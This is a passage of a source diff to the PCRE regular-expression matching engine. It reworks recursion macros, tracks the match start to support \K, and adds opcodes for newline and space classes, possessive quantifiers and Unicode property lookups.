+    /* We are now at the branch that is to be obeyed. As there is only one,
+    we can use tail recursion to avoid using another stack frame, except when
+    match_cbegroup is required for an unlimited repeat of a possibly empty
+    group. If the second alternative doesn't exist, we can just plough on. */
 
+    if (condition || *ecode == OP_ALT)
+      {
       ecode += 1 + LINK_SIZE;
-      flags = match_isgroup;
-      goto TAIL_RECURSE;
+      if (op == OP_SCOND)        /* Possibly empty group */
+        {
+        RMATCH(eptr, ecode, offset_top, md, ims, eptrb, match_cbegroup, RM49);
+        RRETURN(rrc);
+        }
+      else                       /* Group must match something */
+        {
+        flags = 0;
+        goto TAIL_RECURSE;
+        }
       }
-    /* Control never reaches here */
+    else                         /* Condition false & no alternative */
+      {
+      ecode += 1 + LINK_SIZE;
+      }
+    break;
 
-    /* Skip over conditional reference or large extraction number data if
-    encountered. */
 
-    case OP_CREF:
-    case OP_BRANUMBER:
-    ecode += 3;
-    break;
+    /* End of the pattern, either real or forced. If we are in a top-level
+    recursion, we should restore the offsets appropriately and continue from
+    after the call. */
 
-    /* End of the pattern. If we are in a recursion, we should restore the
-    offsets appropriately and continue from after the call. */
-
+    case OP_ACCEPT:
     case OP_END:
     if (md->recursive != NULL && md->recursive->group_num == 0)
       {
@@ -745,7 +910,7 @@
       md->recursive = rec->prevrec;
       memmove(md->offset_vector, rec->offset_save,
         rec->saved_max * sizeof(int));
-      md->start_match = rec->save_start;
+      mstart = rec->save_start;
       ims = original_ims;
       ecode = rec->after_call;
       break;
@@ -754,9 +919,10 @@
     /* Otherwise, if PCRE_NOTEMPTY is set, fail if we have matched an empty
     string - backtracking will then try other alternatives, if any. */
 
-    if (md->notempty && eptr == md->start_match) RRETURN(MATCH_NOMATCH);
-    md->end_match_ptr = eptr;          /* Record where we ended */
-    md->end_offset_top = offset_top;   /* and how many extracts were taken */
+    if (md->notempty && eptr == mstart) RRETURN(MATCH_NOMATCH);
+    md->end_match_ptr = eptr;           /* Record where we ended */
+    md->end_offset_top = offset_top;    /* and how many extracts were taken */
+    md->start_match_ptr = mstart;       /* and the start (\K can modify) */
     RRETURN(MATCH_MATCH);
 
     /* Change option settings */
@@ -777,10 +943,10 @@
     case OP_ASSERTBACK:
     do
       {
-      RMATCH(rrc, eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, NULL,
-        match_isgroup);
+      RMATCH(eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, NULL, 0,
+        RM4);
       if (rrc == MATCH_MATCH) break;
-      if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+      if (rrc != MATCH_NOMATCH && rrc != MATCH_THEN) RRETURN(rrc);
       ecode += GET(ecode, 1);
       }
     while (*ecode == OP_ALT);
@@ -804,10 +970,10 @@
     case OP_ASSERTBACK_NOT:
     do
       {
-      RMATCH(rrc, eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, NULL,
-        match_isgroup);
+      RMATCH(eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, NULL, 0,
+        RM5);
       if (rrc == MATCH_MATCH) RRETURN(MATCH_NOMATCH);
-      if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+      if (rrc != MATCH_NOMATCH && rrc != MATCH_THEN) RRETURN(rrc);
       ecode += GET(ecode,1);
       }
     while (*ecode == OP_ALT);
@@ -826,12 +992,12 @@
 #ifdef SUPPORT_UTF8
     if (utf8)
       {
-      c = GET(ecode,1);
-      for (i = 0; i < c; i++)
+      i = GET(ecode, 1);
+      while (i-- > 0)
         {
         eptr--;
         if (eptr < md->start_subject) RRETURN(MATCH_NOMATCH);
-        BACKCHAR(eptr)
+        BACKCHAR(eptr);
         }
       }
     else
@@ -840,7 +1006,7 @@
     /* No UTF-8 support, or not in UTF-8 mode: count is byte count */
 
       {
-      eptr -= GET(ecode,1);
+      eptr -= GET(ecode, 1);
       if (eptr < md->start_subject) RRETURN(MATCH_NOMATCH);
       }
 
@@ -862,7 +1028,7 @@
       cb.offset_vector    = md->offset_vector;
       cb.subject          = (PCRE_SPTR)md->start_subject;
       cb.subject_length   = md->end_subject - md->start_subject;
-      cb.start_match      = md->start_match - md->start_subject;
+      cb.start_match      = mstart - md->start_subject;
       cb.current_position = eptr - md->start_subject;
       cb.pattern_position = GET(ecode, 2);
       cb.next_item_length = GET(ecode, 2 + LINK_SIZE);
@@ -897,14 +1063,9 @@
     case OP_RECURSE:
       {
       callpat = md->start_code + GET(ecode, 1);
-      new_recursive.group_num = *callpat - OP_BRA;
+      new_recursive.group_num = (callpat == md->start_code)? 0 :
+        GET2(callpat, 1 + LINK_SIZE);
 
-      /* For extended extraction brackets (large number), we have to fish out
-      the number from a dummy opcode at the start. */
-
-      if (new_recursive.group_num > EXTRACT_BASIC_MAX)
-        new_recursive.group_num = GET2(callpat, 2+LINK_SIZE);
-
       /* Add to "recursing stack" */
 
       new_recursive.prevrec = md->recursive;
@@ -929,17 +1090,18 @@
 
       memcpy(new_recursive.offset_save, md->offset_vector,
             new_recursive.saved_max * sizeof(int));
-      new_recursive.save_start = md->start_match;
-      md->start_match = eptr;
+      new_recursive.save_start = mstart;
+      mstart = eptr;
 
       /* OK, now we can do the recursion. For each top-level alternative we
       restore the offset and recursion data. */
 
       DPRINTF(("Recursing into group %d\n", new_recursive.group_num));
+      flags = (*callpat >= OP_SBRA)? match_cbegroup : 0;
       do
         {
-        RMATCH(rrc, eptr, callpat + 1 + LINK_SIZE, offset_top, md, ims,
-            eptrb, match_isgroup);
+        RMATCH(eptr, callpat + _pcre_OP_lengths[*callpat], offset_top,
+          md, ims, eptrb, flags, RM6);
         if (rrc == MATCH_MATCH)
           {
           DPRINTF(("Recursion matched\n"));
@@ -948,9 +1110,11 @@
             (pcre_free)(new_recursive.offset_save);
           RRETURN(MATCH_MATCH);
           }
-        else if (rrc != MATCH_NOMATCH)
+        else if (rrc != MATCH_NOMATCH && rrc != MATCH_THEN)
           {
           DPRINTF(("Recursion gave error %d\n", rrc));
+          if (new_recursive.offset_save != stacksave)
+            (pcre_free)(new_recursive.offset_save);
           RRETURN(rrc);
           }
 
@@ -982,10 +1146,9 @@
 
     do
       {
-      RMATCH(rrc, eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims,
-        eptrb, match_isgroup);
+      RMATCH(eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, eptrb, 0, RM7);
       if (rrc == MATCH_MATCH) break;
-      if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+      if (rrc != MATCH_NOMATCH && rrc != MATCH_THEN) RRETURN(rrc);
       ecode += GET(ecode,1);
       }
     while (*ecode == OP_ALT);
@@ -997,7 +1160,7 @@
     /* Continue as from after the assertion, updating the offsets high water
     mark, since extracts may have been taken. */
 
-    do ecode += GET(ecode,1); while (*ecode == OP_ALT);
+    do ecode += GET(ecode, 1); while (*ecode == OP_ALT);
 
     offset_top = md->end_offset_top;
     eptr = md->end_match_ptr;
@@ -1028,15 +1191,15 @@
 
     if (*ecode == OP_KETRMIN)
       {
-      RMATCH(rrc, eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, eptrb, 0);
+      RMATCH(eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, eptrb, 0, RM8);
       if (rrc != MATCH_NOMATCH) RRETURN(rrc);
       ecode = prev;
-      flags = match_isgroup;
+      flags = 0;
       goto TAIL_RECURSE;
       }
     else  /* OP_KETRMAX */
       {
-      RMATCH(rrc, eptr, prev, offset_top, md, ims, eptrb, match_isgroup);
+      RMATCH(eptr, prev, offset_top, md, ims, eptrb, match_cbegroup, RM9);
       if (rrc != MATCH_NOMATCH) RRETURN(rrc);
       ecode += 1 + LINK_SIZE;
       flags = 0;
@@ -1051,48 +1214,62 @@
     do ecode += GET(ecode,1); while (*ecode == OP_ALT);
     break;
 
-    /* BRAZERO and BRAMINZERO occur just before a bracket group, indicating
-    that it may occur zero times. It may repeat infinitely, or not at all -
-    i.e. it could be ()* or ()? in the pattern. Brackets with fixed upper
-    repeat limits are compiled as a number of copies, with the optional ones
-    preceded by BRAZERO or BRAMINZERO. */
+    /* BRAZERO, BRAMINZERO and SKIPZERO occur just before a bracket group,
+    indicating that it may occur zero times. It may repeat infinitely, or not
+    at all - i.e. it could be ()* or ()? or even (){0} in the pattern. Brackets
+    with fixed upper repeat limits are compiled as a number of copies, with the
+    optional ones preceded by BRAZERO or BRAMINZERO. */
 
     case OP_BRAZERO:
       {
       next = ecode+1;
-      RMATCH(rrc, eptr, next, offset_top, md, ims, eptrb, match_isgroup);
+      RMATCH(eptr, next, offset_top, md, ims, eptrb, 0, RM10);
       if (rrc != MATCH_NOMATCH) RRETURN(rrc);
       do next += GET(next,1); while (*next == OP_ALT);
-      ecode = next + 1+LINK_SIZE;
+      ecode = next + 1 + LINK_SIZE;
       }
     break;
 
     case OP_BRAMINZERO:
       {
       next = ecode+1;
-      do next += GET(next,1); while (*next == OP_ALT);
-      RMATCH(rrc, eptr, next + 1+LINK_SIZE, offset_top, md, ims, eptrb,
-        match_isgroup);
+      do next += GET(next, 1); while (*next == OP_ALT);
+      RMATCH(eptr, next + 1+LINK_SIZE, offset_top, md, ims, eptrb, 0, RM11);
       if (rrc != MATCH_NOMATCH) RRETURN(rrc);
       ecode++;
       }
     break;
 
-    /* End of a group, repeated or non-repeating. If we are at the end of
-    an assertion "group", stop matching and return MATCH_MATCH, but record the
-    current high water mark for use by positive assertions. Do this also
-    for the "once" (not-backup up) groups. */
+    case OP_SKIPZERO:
+      {
+      next = ecode+1;
+      do next += GET(next,1); while (*next == OP_ALT);
+      ecode = next + 1 + LINK_SIZE;
+      }
+    break;
 
+    /* End of a group, repeated or non-repeating. */
+
     case OP_KET:
     case OP_KETRMIN:
     case OP_KETRMAX:
     prev = ecode - GET(ecode, 1);
-    saved_eptr = eptrb->epb_saved_eptr;
 
-    /* Back up the stack of bracket start pointers. */
+    /* If this was a group that remembered the subject start, in order to break
+    infinite repeats of empty string matches, retrieve the subject start from
+    the chain. Otherwise, set it NULL. */
 
-    eptrb = eptrb->epb_prev;
+    if (*prev >= OP_SBRA)
+      {
+      saved_eptr = eptrb->epb_saved_eptr;   /* Value at start of group */
+      eptrb = eptrb->epb_prev;              /* Backup to previous group */
+      }
+    else saved_eptr = NULL;
 
+    /* If we are at the end of an assertion group, stop matching and return
+    MATCH_MATCH, but record the current high water mark for use by positive
+    assertions. Do this also for the "once" (atomic) groups. */
+
     if (*prev == OP_ASSERT || *prev == OP_ASSERT_NOT ||
         *prev == OP_ASSERTBACK || *prev == OP_ASSERTBACK_NOT ||
         *prev == OP_ONCE)
@@ -1102,18 +1279,15 @@
       RRETURN(MATCH_MATCH);
       }
 
-    /* In all other cases except a conditional group we have to check the
-    group number back at the start and if necessary complete handling an
-    extraction by setting the offsets and bumping the high water mark. */
+    /* For capturing groups we have to check the group number back at the start
+    and if necessary complete handling an extraction by setting the offsets and
+    bumping the high water mark. Note that whole-pattern recursion is coded as
+    a recurse into group 0, so it won't be picked up here. Instead, we catch it
+    when the OP_END is reached. Other recursion is handled here. */
 
-    if (*prev != OP_COND)
+    if (*prev == OP_CBRA || *prev == OP_SCBRA)
       {
-      number = *prev - OP_BRA;
-
-      /* For extended extraction brackets (large number), we have to fish out
-      the number from a dummy opcode at the start. */
-
-      if (number > EXTRACT_BASIC_MAX) number = GET2(prev, 2+LINK_SIZE);
+      number = GET2(prev, 1+LINK_SIZE);
       offset = number << 1;
 
 #ifdef PCRE_DEBUG
@@ -1121,42 +1295,34 @@
       printf("\n");
 #endif
 
-      /* Test for a numbered group. This includes groups called as a result
-      of recursion. Note that whole-pattern recursion is coded as a recurse
-      into group 0, so it won't be picked up here. Instead, we catch it when
-      the OP_END is reached. */
-
-      if (number > 0)
+      md->capture_last = number;
+      if (offset >= md->offset_max) md->offset_overflow = TRUE; else
         {
-        md->capture_last = number;
-        if (offset >= md->offset_max) md->offset_overflow = TRUE; else
-          {
-          md->offset_vector[offset] =
-            md->offset_vector[md->offset_end - number];
-          md->offset_vector[offset+1] = eptr - md->start_subject;
-          if (offset_top <= offset) offset_top = offset + 2;
-          }
+        md->offset_vector[offset] =
+          md->offset_vector[md->offset_end - number];
+        md->offset_vector[offset+1] = eptr - md->start_subject;
+        if (offset_top <= offset) offset_top = offset + 2;
+        }
 
-        /* Handle a recursively called group. Restore the offsets
-        appropriately and continue from after the call. */
+      /* Handle a recursively called group. Restore the offsets
+      appropriately and continue from after the call. */
 
-        if (md->recursive != NULL && md->recursive->group_num == number)
-          {
-          recursion_info *rec = md->recursive;
-          DPRINTF(("Recursion (%d) succeeded - continuing\n", number));
-          md->recursive = rec->prevrec;
-          md->start_match = rec->save_start;
-          memcpy(md->offset_vector, rec->offset_save,
-            rec->saved_max * sizeof(int));
-          ecode = rec->after_call;
-          ims = original_ims;
-          break;
-          }
+      if (md->recursive != NULL && md->recursive->group_num == number)
+        {
+        recursion_info *rec = md->recursive;
+        DPRINTF(("Recursion (%d) succeeded - continuing\n", number));
+        md->recursive = rec->prevrec;
+        mstart = rec->save_start;
+        memcpy(md->offset_vector, rec->offset_save,
+          rec->saved_max * sizeof(int));
+        ecode = rec->after_call;
+        ims = original_ims;
+        break;
         }
       }
 
-    /* Reset the value of the ims flags, in case they got changed during
-    the group. */
+    /* For both capturing and non-capturing groups, reset the value of the ims
+    flags, in case they got changed during the group. */
 
     ims = original_ims;
     DPRINTF(("ims reset to %02lx\n", ims));
@@ -1175,19 +1341,26 @@
 
     /* The repeating kets try the rest of the pattern or restart from the
     preceding bracket, in the appropriate order. In the second case, we can use
-    tail recursion to avoid using another stack frame. */
+    tail recursion to avoid using another stack frame, unless we have an
+    unlimited repeat of a group that can match an empty string. */
 
+    flags = (*prev >= OP_SBRA)? match_cbegroup : 0;
+
     if (*ecode == OP_KETRMIN)
       {
-      RMATCH(rrc, eptr, ecode + 1+LINK_SIZE, offset_top, md, ims, eptrb, 0);
+      RMATCH(eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, eptrb, 0, RM12);
       if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+      if (flags != 0)    /* Could match an empty string */
+        {
+        RMATCH(eptr, prev, offset_top, md, ims, eptrb, flags, RM50);
+        RRETURN(rrc);
+        }
       ecode = prev;
-      flags = match_isgroup;
       goto TAIL_RECURSE;
       }
     else  /* OP_KETRMAX */
       {
-      RMATCH(rrc, eptr, prev, offset_top, md, ims, eptrb, match_isgroup);
+      RMATCH(eptr, prev, offset_top, md, ims, eptrb, flags, RM13);
       if (rrc != MATCH_NOMATCH) RRETURN(rrc);
       ecode += 1 + LINK_SIZE;
       flags = 0;
@@ -1202,9 +1375,7 @@
     if ((ims & PCRE_MULTILINE) != 0)
       {
       if (eptr != md->start_subject &&
-          (eptr == md->end_subject ||
-           eptr < md->start_subject + md->nllen ||
-           !IS_NEWLINE(eptr - md->nllen)))
+          (eptr == md->end_subject || !WAS_NEWLINE(eptr)))
         RRETURN(MATCH_NOMATCH);
       ecode++;
       break;
@@ -1225,6 +1396,13 @@
     ecode++;
     break;
 
+    /* Reset the start of match point */
+
+    case OP_SET_SOM:
+    mstart = eptr;
+    ecode++;
+    break;
+
     /* Assert before internal newline if multiline, or before a terminating
     newline unless endonly is set, else end of subject unless noteol is set. */
 
@@ -1244,7 +1422,7 @@
       if (!md->endonly)
         {
         if (eptr != md->end_subject &&
-            (eptr != md->end_subject - md->nllen || !IS_NEWLINE(eptr)))
+            (!IS_NEWLINE(eptr) || eptr != md->end_subject - md->nllen))
           RRETURN(MATCH_NOMATCH);
         ecode++;
         break;
@@ -1263,7 +1441,7 @@
 
     case OP_EODN:
     if (eptr != md->end_subject &&
-        (eptr != md->end_subject - md->nllen || !IS_NEWLINE(eptr)))
+        (!IS_NEWLINE(eptr) || eptr != md->end_subject - md->nllen))
       RRETURN(MATCH_NOMATCH);
     ecode++;
     break;
@@ -1283,7 +1461,7 @@
         {
         if (eptr == md->start_subject) prev_is_word = FALSE; else
           {
-          const uschar *lastptr = eptr - 1;
+          USPTR lastptr = eptr - 1;
           while((*lastptr & 0xc0) == 0x80) lastptr--;
           GETCHAR(c, lastptr);
           prev_is_word = c < 256 && (md->ctypes[c] & ctype_word) != 0;
@@ -1317,14 +1495,12 @@
     /* Match a single character type; inline for speed */
 
     case OP_ANY:
-    if ((ims & PCRE_DOTALL) == 0)
-      {
-      if (eptr <= md->end_subject - md->nllen && IS_NEWLINE(eptr))
-        RRETURN(MATCH_NOMATCH);
-      }
+    if (IS_NEWLINE(eptr)) RRETURN(MATCH_NOMATCH);
+    /* Fall through */
+
+    case OP_ALLANY:
     if (eptr++ >= md->end_subject) RRETURN(MATCH_NOMATCH);
-    if (utf8)
-      while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
+    if (utf8) while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
     ecode++;
     break;
 
@@ -1414,6 +1590,126 @@
     ecode++;
     break;
 
+    case OP_ANYNL:
+    if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+    GETCHARINCTEST(c, eptr);
+    switch(c)
+      {
+      default: RRETURN(MATCH_NOMATCH);
+      case 0x000d:
+      if (eptr < md->end_subject && *eptr == 0x0a) eptr++;
+      break;
+
+      case 0x000a:
+      break;
+
+      case 0x000b:
+      case 0x000c:
+      case 0x0085:
+      case 0x2028:
+      case 0x2029:
+      if (md->bsr_anycrlf) RRETURN(MATCH_NOMATCH);
+      break;
+      }
+    ecode++;
+    break;
+
+    case OP_NOT_HSPACE:
+    if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+    GETCHARINCTEST(c, eptr);
+    switch(c)
+      {
+      default: break;
+      case 0x09:      /* HT */
+      case 0x20:      /* SPACE */
+      case 0xa0:      /* NBSP */
+      case 0x1680:    /* OGHAM SPACE MARK */
+      case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+      case 0x2000:    /* EN QUAD */
+      case 0x2001:    /* EM QUAD */
+      case 0x2002:    /* EN SPACE */
+      case 0x2003:    /* EM SPACE */
+      case 0x2004:    /* THREE-PER-EM SPACE */
+      case 0x2005:    /* FOUR-PER-EM SPACE */
+      case 0x2006:    /* SIX-PER-EM SPACE */
+      case 0x2007:    /* FIGURE SPACE */
+      case 0x2008:    /* PUNCTUATION SPACE */
+      case 0x2009:    /* THIN SPACE */
+      case 0x200A:    /* HAIR SPACE */
+      case 0x202f:    /* NARROW NO-BREAK SPACE */
+      case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+      case 0x3000:    /* IDEOGRAPHIC SPACE */
+      RRETURN(MATCH_NOMATCH);
+      }
+    ecode++;
+    break;
+
+    case OP_HSPACE:
+    if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+    GETCHARINCTEST(c, eptr);
+    switch(c)
+      {
+      default: RRETURN(MATCH_NOMATCH);
+      case 0x09:      /* HT */
+      case 0x20:      /* SPACE */
+      case 0xa0:      /* NBSP */
+      case 0x1680:    /* OGHAM SPACE MARK */
+      case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+      case 0x2000:    /* EN QUAD */
+      case 0x2001:    /* EM QUAD */
+      case 0x2002:    /* EN SPACE */
+      case 0x2003:    /* EM SPACE */
+      case 0x2004:    /* THREE-PER-EM SPACE */
+      case 0x2005:    /* FOUR-PER-EM SPACE */
+      case 0x2006:    /* SIX-PER-EM SPACE */
+      case 0x2007:    /* FIGURE SPACE */
+      case 0x2008:    /* PUNCTUATION SPACE */
+      case 0x2009:    /* THIN SPACE */
+      case 0x200A:    /* HAIR SPACE */
+      case 0x202f:    /* NARROW NO-BREAK SPACE */
+      case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+      case 0x3000:    /* IDEOGRAPHIC SPACE */
+      break;
+      }
+    ecode++;
+    break;
+
+    case OP_NOT_VSPACE:
+    if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+    GETCHARINCTEST(c, eptr);
+    switch(c)
+      {
+      default: break;
+      case 0x0a:      /* LF */
+      case 0x0b:      /* VT */
+      case 0x0c:      /* FF */
+      case 0x0d:      /* CR */
+      case 0x85:      /* NEL */
+      case 0x2028:    /* LINE SEPARATOR */
+      case 0x2029:    /* PARAGRAPH SEPARATOR */
+      RRETURN(MATCH_NOMATCH);
+      }
+    ecode++;
+    break;
+
+    case OP_VSPACE:
+    if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+    GETCHARINCTEST(c, eptr);
+    switch(c)
+      {
+      default: RRETURN(MATCH_NOMATCH);
+      case 0x0a:      /* LF */
+      case 0x0b:      /* VT */
+      case 0x0c:      /* FF */
+      case 0x0d:      /* CR */
+      case 0x85:      /* NEL */
+      case 0x2028:    /* LINE SEPARATOR */
+      case 0x2029:    /* PARAGRAPH SEPARATOR */
+      break;
+      }
+    ecode++;
+    break;
+
 #ifdef SUPPORT_UCP
     /* Check the next character by Unicode property. We will get here only
     if the support is in the binary; otherwise a compile-time error occurs. */
@@ -1423,8 +1719,7 @@
     if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
     GETCHARINCTEST(c, eptr);
       {
-      int chartype, script;
-      int category = _pcre_ucp_findprop(c, &chartype, &script);
+      const ucd_record *prop = GET_UCD(c);
 
       switch(ecode[1])
         {
@@ -1433,30 +1728,29 @@
         break;
 
         case PT_LAMP:
-        if ((chartype == ucp_Lu ||
-             chartype == ucp_Ll ||
-             chartype == ucp_Lt) == (op == OP_NOTPROP))
+        if ((prop->chartype == ucp_Lu ||
+             prop->chartype == ucp_Ll ||
+             prop->chartype == ucp_Lt) == (op == OP_NOTPROP))
           RRETURN(MATCH_NOMATCH);
          break;
 
         case PT_GC:
-        if ((ecode[2] != category) == (op == OP_PROP))
+        if ((ecode[2] != _pcre_ucp_gentype[prop->chartype]) == (op == OP_PROP))
           RRETURN(MATCH_NOMATCH);
         break;
 
         case PT_PC:
-        if ((ecode[2] != chartype) == (op == OP_PROP))
+        if ((ecode[2] != prop->chartype) == (op == OP_PROP))
           RRETURN(MATCH_NOMATCH);
         break;
 
         case PT_SC:
-        if ((ecode[2] != script) == (op == OP_PROP))
+        if ((ecode[2] != prop->script) == (op == OP_PROP))
           RRETURN(MATCH_NOMATCH);
         break;
 
         default:
         RRETURN(PCRE_ERROR_INTERNAL);
-        break;
         }
 
       ecode += 3;
@@ -1470,8 +1764,7 @@
     if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
     GETCHARINCTEST(c, eptr);
       {
-      int chartype, script;
-      int category = _pcre_ucp_findprop(c, &chartype, &script);
+      int category = UCD_CATEGORY(c);
       if (category == ucp_M) RRETURN(MATCH_NOMATCH);
       while (eptr < md->end_subject)
         {
@@ -1480,7 +1773,7 @@
           {
           GETCHARLEN(c, eptr, len);
           }
-        category = _pcre_ucp_findprop(c, &chartype, &script);
+        category = UCD_CATEGORY(c);
         if (category != ucp_M) break;
         eptr += len;
         }
@@ -1501,17 +1794,26 @@
     case OP_REF:
       {
       offset = GET2(ecode, 1) << 1;               /* Doubled ref number */
-      ecode += 3;                                 /* Advance past item */
+      ecode += 3;
 
-      /* If the reference is unset, set the length to be longer than the amount
-      of subject left; this ensures that every attempt at a match fails. We
-      can't just fail here, because of the possibility of quantifiers with zero
-      minima. */
+      /* If the reference is unset, there are two possibilities:
 
-      length = (offset >= offset_top || md->offset_vector[offset] < 0)?
-        md->end_subject - eptr + 1 :
-        md->offset_vector[offset+1] - md->offset_vector[offset];
+      (a) In the default, Perl-compatible state, set the length to be longer
+      than the amount of subject left; this ensures that every attempt at a
+      match fails. We can't just fail here, because of the possibility of
+      quantifiers with zero minima.
 
+      (b) If the JavaScript compatibility flag is set, set the length to zero
+      so that the back reference matches an empty string.
+
+      Otherwise, set the length to the length of what was matched by the
+      referenced subpattern. */
+
+      if (offset >= offset_top || md->offset_vector[offset] < 0)
+        length = (md->jscript_compat)? 0 : md->end_subject - eptr + 1;
+      else
+        length = md->offset_vector[offset+1] - md->offset_vector[offset];
+
       /* Set up for repetition, or handle the non-repeated case */
 
       switch (*ecode)
@@ -1570,7 +1872,7 @@
         {
         for (fi = min;; fi++)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM14);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (fi >= max || !match_ref(offset, eptr, length, md, ims))
             RRETURN(MATCH_NOMATCH);
@@ -1591,7 +1893,7 @@
           }
         while (eptr >= pp)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM15);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           eptr -= length;
           }
@@ -1696,7 +1998,7 @@
           {
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM16);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
             GETCHARINC(c, eptr);
@@ -1716,7 +2018,7 @@
           {
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM17);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
             c = *eptr++;
@@ -1753,7 +2055,7 @@
             }
           for (;;)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM18);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (eptr-- == pp) break;        /* Stop if tried at original pos */
             BACKCHAR(eptr);
@@ -1772,7 +2074,7 @@
             }
           while (eptr >= pp)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM19);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             eptr--;
             }
@@ -1785,7 +2087,8 @@
 
 
     /* Match an extended character class. This opcode is encountered only
-    in UTF-8 mode, because that's the only time it is compiled. */
+    when UTF-8 mode mode is supported. Nevertheless, we may not be in UTF-8
+    mode, because Unicode properties are supported in non-UTF-8 mode. */
 
 #ifdef SUPPORT_UTF8
     case OP_XCLASS:
@@ -1827,7 +2130,7 @@
       for (i = 1; i <= min; i++)
         {
         if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
-        GETCHARINC(c, eptr);
+        GETCHARINCTEST(c, eptr);
         if (!_pcre_xclass(c, data)) RRETURN(MATCH_NOMATCH);
         }
 
@@ -1843,10 +2146,10 @@
         {
         for (fi = min;; fi++)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM20);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
-          GETCHARINC(c, eptr);
+          GETCHARINCTEST(c, eptr);
           if (!_pcre_xclass(c, data)) RRETURN(MATCH_NOMATCH);
           }
         /* Control never gets here */
@@ -1861,16 +2164,16 @@
           {
           int len = 1;
           if (eptr >= md->end_subject) break;
-          GETCHARLEN(c, eptr, len);
+          GETCHARLENTEST(c, eptr, len);
           if (!_pcre_xclass(c, data)) break;
           eptr += len;
           }
         for(;;)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM21);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (eptr-- == pp) break;        /* Stop if tried at original pos */
-          BACKCHAR(eptr)
+          if (utf8) BACKCHAR(eptr);
           }
         RRETURN(MATCH_NOMATCH);
         }
@@ -1926,7 +2229,7 @@
 
       else
         {
-        int dc;
+        unsigned int dc;
         GETCHARINC(dc, eptr);
         ecode += length;
 
@@ -1936,7 +2239,7 @@
         if (fc != dc)
           {
 #ifdef SUPPORT_UCP
-          if (dc != _pcre_ucp_othercase(fc))
+          if (dc != UCD_OTHERCASE(fc))
 #endif
             RRETURN(MATCH_NOMATCH);
           }
@@ -1953,13 +2256,17 @@
       }
     break;
 
-    /* Match a single character repeatedly; different opcodes share code. */
+    /* Match a single character repeatedly. */
 
     case OP_EXACT:
     min = max = GET2(ecode, 1);
     ecode += 3;
     goto REPEATCHAR;
 
+    case OP_POSUPTO:
+    possessive = TRUE;
+    /* Fall through */
+
     case OP_UPTO:
     case OP_MINUPTO:
     min = 0;
@@ -1968,6 +2275,27 @@
     ecode += 3;
     goto REPEATCHAR;
 
+    case OP_POSSTAR:
+    possessive = TRUE;
+    min = 0;
+    max = INT_MAX;
+    ecode++;
+    goto REPEATCHAR;
+
+    case OP_POSPLUS:
+    possessive = TRUE;
+    min = 1;
+    max = INT_MAX;
+    ecode++;
+    goto REPEATCHAR;
+
+    case OP_POSQUERY:
+    possessive = TRUE;
+    min = 0;
+    max = 1;
+    ecode++;
+    goto REPEATCHAR;
+
     case OP_STAR:
     case OP_MINSTAR:
     case OP_PLUS:
@@ -1999,20 +2327,18 @@
 
       if (length > 1)
         {
-        int oclength = 0;
-        uschar occhars[8];
-
 #ifdef SUPPORT_UCP
-        int othercase;
+        unsigned int othercase;
         if ((ims & PCRE_CASELESS) != 0 &&
-            (othercase = _pcre_ucp_othercase(fc)) >= 0 &&
-             othercase >= 0)
+            (othercase = UCD_OTHERCASE(fc)) != fc)
